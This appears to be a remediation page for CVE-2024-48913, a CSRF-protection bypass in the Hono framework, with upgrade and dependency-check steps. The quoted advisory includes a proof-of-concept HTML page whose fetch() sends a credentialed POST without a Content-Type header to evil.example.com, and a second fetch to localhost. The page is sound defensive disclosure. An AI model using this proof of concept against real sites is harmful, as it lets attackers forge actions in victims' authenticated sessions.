How to Fix CVE-2024-48913

To remediate this vulnerability, upgrade all affected Hono dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

hono fixed: 4.6.5 
npm install hono@4.6.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls hono

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-48913, inspect your project dependencies using npm:

npm ls hono

Analyze the terminal output to locate any version of Hono in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.5), your application is affected.

Note: The npm ls hono command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Hono, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. ```PoC2.js await fetch("http://localhost:8000", { method: "POST", credentials: "include"}); ``` ### Impact Bypass csrf protection implemented with hono csrf middleware.
